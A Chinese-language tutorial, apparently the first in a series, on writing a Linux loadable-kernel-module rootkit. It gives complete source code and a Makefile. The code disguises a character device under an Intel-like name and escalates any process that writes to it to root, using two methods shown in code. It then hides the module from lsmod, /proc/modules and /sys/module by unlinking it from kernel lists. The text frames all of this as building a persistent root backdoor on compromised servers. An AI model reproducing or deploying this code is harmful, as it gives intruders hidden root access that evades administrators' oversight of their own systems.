【技術分享】簡易 Linux Rootkit 編寫入門指北(一):模塊隱藏與進程提權

概述
「Rootkit」即「root kit」,直譯為中文便是「根權限工具包」的意思,在今天的語境下更多指的是一種被作為驅動程序、加載到操作系統內核中的惡意軟件,這一類惡意軟件的主要用途便是「駐留在計算機上提供 root 后門」——當攻擊者再次拿到某個服務器的 shell 時可以通過 rootkit 快速提權到 root
Linux 下的 rootkit 主要以「可裝載內核模塊」(LKM)的形式存在,作為內核的一部分直接以 ring0 權限向入侵者提供服務;當攻擊者拿到某臺計算機的 shell 并通過相應的漏洞提權到 root 之后便可以在計算機中留下 rootkit,以為攻擊者后續入侵行為提供駐留的 root 后門
但是作為內核的一部分,LKM 編程在一定意義上便是內核編程,與內核版本密切相關,只有使用相應版本內核源碼進行編譯的 LKM 才可以裝載到對應版本的 kernel 上,這使得 Linux rootkit 顯得有些雞肋(例如服務器管理員某天升級內核版本你就被揚了),且不似蠕蟲病毒那般可以在服務期間肆意傳播,但不可否認的是 rootkit 仍是當前 Linux 下較為主流的 root 后門駐留技術之一
本篇文章僅為最基礎的 rootkit 編寫入門指南,若是需要成熟可用的 rootkit 可以參見 f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
本篇引用的內核源碼來自于 Linux 內核版本 5.11
Linux 下嘗試裝載不同版本的 LKM 會顯示如下錯誤信息:
insmod: ERROR: could not insert module hellokernel.ko: Invalid module format
最簡易的LKM
這里不會敘述太多 Linux 內核編程相關的知識,主要以 rootkit 編寫所會用到的一些技術為主
基本的 LKM 編寫入門見這里
以下給出了一個最基礎的 LKM 模板,注冊了一個字符型設備作為后續使用的接口
rootkit.c
/** rootkit.ko* developed by arttnba3*/#include #include #include #include #include #include "functions.c"
static int __init rootkit_init(void){ // register device major_num = register_chrdev(0, DEVICE_NAME, &a3_rootkit_fo); // major number 0 for allocated by kernel if(major_num < 0) return major_num; // failed
// create device class module_class = class_create(THIS_MODULE, CLASS_NAME); if(IS_ERR(module_class)) { unregister_chrdev(major_num, DEVICE_NAME); return PTR_ERR(module_class); }
// create device inode module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME); if(IS_ERR(module_device)) // failed { class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); return PTR_ERR(module_device); }
__file = filp_open(DEVICE_PATH, O_RDONLY, 0); if (IS_ERR(__file)) // failed { device_destroy(module_class, MKDEV(major_num, 0)); class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); return PTR_ERR(__file); } __inode = file_inode(__file); __inode->i_mode |= 0666; filp_close(__file, NULL);
return 0;}
static void __exit rootkit_exit(void){ device_destroy(module_class, MKDEV(major_num, 0)); class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME);}
module_init(rootkit_init);module_exit(rootkit_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("arttnba3");
functions.c
#include #include #include #include #include #include "rootkit.h"
static int a3_rootkit_open(struct inode * __inode, struct file * __file){ return 0;}
static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff){ return 0;}
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){ return 0;}
static int a3_rootkit_release(struct inode * __inode, struct file * __file){ printk(KERN_INFO "get info"); return 0;}
static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param){ return 0;}
rootkit.h
#include #include #include #include #include
// a difficult-to-detect name#define DEVICE_NAME "intel_rapl_msrdv"#define CLASS_NAME "intel_rapl_msrmd"#define DEVICE_PATH "/dev/intel_rapl_msrdv"
static int major_num;static struct class * module_class = NULL;static struct device * module_device = NULL;static struct file * __file = NULL;struct inode * __inode = NULL;
static int __init rootkit_init(void);static void __exit rootkit_exit(void);
static int a3_rootkit_open(struct inode *, struct file *);static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);static int a3_rootkit_release(struct inode *, struct file *);static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);
static struct file_operations a3_rootkit_fo = { .owner = THIS_MODULE, .unlocked_ioctl = a3_rootkit_ioctl, .open = a3_rootkit_open, .read = a3_rootkit_read, .write = a3_rootkit_write, .release = a3_rootkit_release,};
makefile
# Makefile2.6obj-m += rootkit.oCURRENT_PATH := $(shell pwd)LINUX_KERNEL := $(shell uname -r)LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)all: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modulesclean: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
我們接下來將以該模塊作為藍本進行修改
進程權限提升
cred 結構體
對于 Linux 下的每一個進程,在 kernel 中都有著一個結構體 cred 用以標識其權限,該結構體定義于內核源碼include/linux/cred.h中,如下:
struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */#endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ };} __randomize_layout;
我們主要關注 uid ,一個cred結構體中記載了一個進程四種不同的用戶ID:
- 真實用戶ID(real UID):標識一個進程啟動時的用戶ID
- 保存用戶ID(saved UID):標識一個進程最初的有效用戶ID
- 有效用戶ID(effective UID):標識一個進程正在運行時所屬的用戶ID,一個進程在運行途中是可以改變自己所屬用戶的,因而權限機制也是通過有效用戶ID進行認證的
- 文件系統用戶ID(UID for VFS ops):標識一個進程創建文件時進行標識的用戶ID
權限提升
Linux kernel 進程權限相關細節不在此贅敘,可以參見這里
cred 結構體中存儲了進程的 effective uid,那么我們不難想到,若是我們直接改寫一個進程對應的 cred 結構體,我們便能直接改變其執行權限
而在 Linux 中 root 用戶的 uid 為 0,若是我們將一個進程的 uid 都改為 0,該進程便獲得了 root 權限
方法I.調用commit_creds(prepare_kernel_cred(NULL))
pwn 選手應該都挺熟悉這個hhhh
在內核空間有如下兩個函數,都位于kernel/cred.c中:
- struct cred* prepare_kernel_cred(struct task_struct* daemon):該函數用以拷貝一個進程的cred結構體,并返回一個新的cred結構體,需要注意的是daemon參數應為有效的進程描述符地址或NULL
- int commit_creds(struct cred *new):該函數用以將一個新的cred結構體應用到進程
查看prepare_kernel_cred()函數源碼,觀察到如下邏輯:
struct cred *prepare_kernel_cred(struct task_struct *daemon){ const struct cred *old; struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred);...
在prepare_kernel_cred()函數中,若傳入的參數為NULL,則會缺省使用init進程的cred作為模板進行拷貝,即可以直接獲得一個標識著root權限的cred結構體
那么我們不難想到,只要我們能夠在內核空間執行commit_creds(prepare_kernel_cred(NULL)),那么就能夠將進程的權限提升到root
我們來簡單測試一下:修改 write 函數,在用戶向設備寫入時將其提權到 root:
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){ commit_creds(prepare_kernel_cred(NULL)); return 0;}
測試例程:
#include #include #include #include #include
int main(void){ int fd = open("/dev/intel_rapl_msrdv", O_RDWR); write(fd, "aaaa", 4); sleep(2); system("/bin/sh");}
簡單測試一下,可以看到當我們的進程寫入設備之后便提權到了 root

方法II.直接修改 cred 結構體
前面我們講到,prepare_kernel_cred() 函數用以將一個新的 cred 應用到當前進程,我們來觀察其源碼相應邏輯:
int commit_creds(struct cred *new){ struct task_struct *task = current; const struct cred *old = task->real_cred;
...
在該函數開頭直接通過宏 current 獲取當前進程的 task_struct,隨后修改的是其成員 real_cred,那么我們在內核模塊中同樣可以直接通過該宏獲取當前進程的 task_struct 結構體,從而直接修改其 real_cred 中的 uid 以實現到 root 的提權
那么我們的代碼可以修改如下:
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){ struct task_struct *task = current; struct cred *old = task->real_cred; old->gid = old->sgid = old->egid = KGIDT_INIT(0); old->uid = old->suid = old->euid = KUIDT_INIT(0); return 0;}
這里需要注意的是 uid 與 gid 的類型為封裝為結構體的 kuid_t 與 kgid_t 類型,應當使用宏 KGIDT_INIT() 與 KUIDT_INIT() 進行賦值
還是使用之前的例程簡單測試一下,可以看到當我們的進程寫入設備之后便提權到了 root,不同的是我們只修改了幾個 uid 和 gid,所以原進程的其他信息依舊會保留,這里也可以選擇把其他的一并改掉

current:CPU 局部變量保存當前進程 task_struct 結構體
這里簡單講一下宏 current 的是如何獲取當前進程的 task_struct 的:該宏定義于內核源碼 arch/x6/include/asm/current.h 中,展開后為函數 static __always_inline struct task_struct *get_current(void) ,該函數只有一句 return this_cpu_read_stable(current_task);:
其中 current_task 為 CPU 局部變量,在頭文件開頭使用宏 DECLARE_PER_CPU 從外部引入該變量,該宏定義于 include/linux/percpu-defs.h 中,展開后為 DECLARE_PER_CPU_SECTION(type, name, ""),該宏再度展開為 extern __PCPU_ATTRS(sec) __typeof__(type) name,該宏再度展開為 __percpu __attribute__((section(PER_CPU_BASE_SECTION sec))) PER_CPU_ATTRIBUTES,其中宏 PER_CPU_BASE_SECTION 定義于 include/asm-generic/percpu.h中,SMP(多對稱處理)下展開為字符串 ".data..percpu"。最終展開為 __attribute__((section(".data..percpu"))) (type) name,其中 __attribute__ 宏為 gcc 的特殊機制,具體的參見手冊
那么我們可以知道該宏最終便是外部引用了一個位于 .data..percpu 這一數據段中的 task_struct 類型的變量 current_task
接下來看宏 this_cpu_read_stable,該宏定義于 arch/x86/include/asm/percpu.h 中,展開為 __pcpu_size_call_return(this_cpu_read_stable_, pcp),再度展開為如下:
#define __pcpu_size_call_return(stem, variable) \({ \ typeof(variable) pscr_ret__; \ __verify_pcpu_ptr(&(variable)); \ switch(sizeof(variable)) { \ case 1: pscr_ret__ = stem##1(variable); break; \ case 2: pscr_ret__ = stem##2(variable); break; \ case 4: pscr_ret__ = stem##4(variable); break; \ case 8: pscr_ret__ = stem##8(variable); break; \ default: \ __bad_size_call_parameter(); break; \ } \ pscr_ret__; \})
開頭先定義了一個變量 pscr_ret__,使用 typeof (GNU C 擴展關鍵字)獲取 variable 的類型
其中宏 __verify_pcpu_ptr() 同樣定義于該文件中,如下:
#define __verify_pcpu_ptr(ptr) \do { \ const void __percpu *__vpp_verify = (typeof((ptr) + 0))NULL; \ (void)__vpp_verify; \} while (0)
其中 do...while(0) 結構為約定熟成的「只執行一次的語句」的宏的書寫形式,該宏中定義了一個 void 指針通過強制類型轉換獲取 NULL 轉成 ptr 的類型給到該指針(好像沒什么用…?),然后下一句再轉為 NULL(空轉,沒有做任何其他諸如賦值一類的事情,筆者才疏學淺暫時不理解這么做的理由)
接下來根據變量 variable 的 size 進行宏拼接,前面我們傳入的 current_task 變量為 struct task_struct * 指針類型,這里以 64 位系統為例,最終得到的拼接結果為宏 this_cpu_read_stable_8,定義于 arch/x86/include/asm/percpu.h 中(繞了一圈又回來了),展開為 percpu_stable_op(8, "mov", pcp),再度展開為如下形式:
#define percpu_stable_op(size, op, _var) \({ \ __pcpu_type_##size pfo_val__; \ asm(__pcpu_op2_##size(op, __percpu_arg(P[var]), "%[val]") \ : [val] __pcpu_reg_##size("=", pfo_val__) \ : [var] "p" (&(_var))); \ (typeof(_var))(unsigned long) pfo_val__; \})
其中 __pcpu_type_8 展開為 u64,在多個頭文件中都有定義,最終展開為unsigned long long的 typedef 別名
下一行使用了內聯匯編,其中拼接后得到的宏 __pcpu_op2_8(op, src, dst) 同樣位于這個頭文件,展開為 op "q " src ", " dst;__percpu_arg(x)展開為 __percpu_prefix "%" #x, 再展開為 "%%"__stringify(__percpu_seg)":":__stringify 展開為 __stringify_1(x) 展開為 #x,__percpu_seg 展開為 gs,合起來便是 %%gs:%P[var];拼接宏 __pcpu_reg_8(mod, x) 展開為 mod "r" (x)
最終展開為如下形式:
unsigned long long pfo_val__;asm("movq %%gs:%P[var], %[val]" \: [val] "=r" (pfo_val__) \: [var] "p" (&(current_task)));(struct task_struct *)(unsigned long) pfo_val__;
撥開 Linux 內核源碼中的多層嵌套之后我們大抵能夠明白該段代碼的核心便是以 gs 寄存器作為基址,取 current_task 變量偏移處值賦給 pfo_val__ 變量,隨后返回 pro_val__ 變量
那么為什么 gs 寄存器中存的地址在這個偏移上便是該進程的 task_struct 結構呢?這個和 percpu 機制有關,便不在此贅敘,大概就是每個 CPU 獨立有一塊地址空間,其中會存放包括當前進程的 task_struct 結構體等數據
模塊隱藏
當我們將一個 LKM 裝載到內核模塊中之后,用戶尤其是服務器管理員可以使用 lsmod 命令發現你在服務器上留下的rootkit
arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko Password: arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'rootkit 16384 0
雖然說我們可以把 rootkit 的名字改為「very_important_module_not_root_kit_please_donot_remove_it」一類的名字進行偽裝從而通過社會工程學手段讓用戶難以發現異常,但是哪怕看起來再“正常”的名字也不能夠保證不會被發現,因此我們需要讓用戶無法直接發現我們的 rootkit
PRE.內核中的內核模塊:module 結構體
這里僅簡要敘述,在內核當中使用結構體 module 來表示一個內核模塊(定義于 /include/linux/module.h),多個內核模塊通過成員 list (內核雙向鏈表結構list_head,定義于/include/linux/types.h 中,僅有 next 與 prev 指針成員)構成雙向鏈表結構
在內核模塊編程中,我們可以通過宏 THIS_MODULE (定義于 include/linux/export.h)或者直接用其宏展開 &__list_module 來獲取當前內核模塊的 module 結構體,
Step-I. /proc/modules 信息隱藏
Linux 下用以查看模塊的命令 lsmod 其實是從 /proc/modules 這個文件中讀取并進行整理,該文件的內容來自于內核中的 module 雙向鏈表,那么我們只需要將 rootkit 從雙向鏈表中移除即可完成 procfs 中的隱藏
熟悉內核編程的同學應該都知道 list_del_init() 函數用以進行內核雙向鏈表脫鏈操作,該函數定義于 /include/linux/list.h 中,多重套娃展開后其核心主要是常規的雙向鏈表脫鏈,那么在這里我們其實可以直接手寫雙向鏈表的脫鏈工作
我們還需要考慮到多線程操作的影響,閱讀 rmmod 背后的系統調用 delete_module 源碼(位于 kernel/module.c 中),觀察到其進入臨界區前使用了一個互斥鎖變量名為 module_mutex,我們的 unlink 操作也將使用該互斥鎖以保證線程安全(畢竟我們進來不是直接搞破壞的hhh)
在模塊初始化函數末尾添加如下:
static int __init rootkit_init(void){...
// unlink from module list struct list_head * list = (&__this_module.list); mutex_lock(&module_mutex); list->prev->next = list->next; list->next->prev = list->prev; mutex_unlock(&module_mutex);
return 0;}
將我們的 rootkit 重新 make 后加載到內核中,我們會發現 lsmod 命令已經無法發現我們的 rootkit,在 /proc/modules 文件中已經沒有我們 rootkit 的信息,與此同時我們的 rootkit 所提供的功能一切正常
但同樣地,無論是載入還是卸載內核模塊都需要對雙向鏈表進行操作,由于我們的 rootkit 已經脫鏈故我們無法將其卸載,同樣地也無法將其再次載入(雖然說似乎并沒有必要做這兩件事情,因為 rootkit 一次載入后應當是要長久駐留在內核中的)

Step-II. /sys/module/ 信息隱藏
sysfs 與 procfs 相類似,同樣是一個基于 RAM 的虛擬文件系統,它的作用是將內核信息以文件的方式提供給用戶程序使用,其中便包括我們的 rootkit 模塊信息,sysfs 會動態讀取內核中的 kobject 層次結構并在 /sys/module/ 目錄下生成文件
這里簡單講一下 kobject:Kobject 是 Linux 中的設備數據結構基類,在內核中為 struct kobject 結構體,通常內嵌在其他數據結構中;每個設備都有一個 kobject 結構體,多個 kobject 間通過內核雙向鏈表進行鏈接;kobject 之間構成層次結構
kobject 更多信息參見https://zhuanlan.zhihu.com/p/104834616
熟悉內核編程的同學應該都知道我們可以使用 kobject_del() 函數(定義于 /lib/kobject.c中)來將一個 kobject 從層次結構中脫離,這里我們將在我們的 rootkit 的 init 函數末尾使用這個函數:
static int __init rootkit_init(void){...
// unlink from kobject kobject_del(&__this_module.mkobj.kobj);
return 0;}
簡單測試,我們可以發現無論是在 procfs 中還是 sysfs 中都已經沒有了我們的 rootkit 的身影,而提權的功能依舊正常,我們很好地完成了隱藏模塊的功能

What's more?
在后續文章中筆者將會講述:
- 文件隱藏(filldir hook)
- 進程隱藏(脫離 cred_jar 進行簡易內存分配)
- 駐留技術(systemd,initrd…)
- ……